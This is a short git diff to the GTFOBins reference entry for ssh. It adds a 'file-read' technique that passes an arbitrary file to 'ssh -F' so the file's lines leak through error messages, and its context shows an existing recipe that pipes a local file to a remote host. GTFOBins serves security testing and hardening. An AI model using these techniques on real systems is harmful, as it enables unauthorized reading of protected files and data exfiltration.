diff --git a/_gtfobins/ssh.md b/_gtfobins/ssh.md index c87a00d..9b2fe66 100644 --- a/_gtfobins/ssh.md +++ b/_gtfobins/ssh.md @@ -17,4 +17,9 @@ functions: RPATH=where_to_save LPATH=file_to_send ssh $HOST "cat > $RPATH" < $LPATH + file-read: + - description: Read lines from text files (error-based approach). + - code: | + LFILE=file_to_read + ssh -F $LFILE localhost ---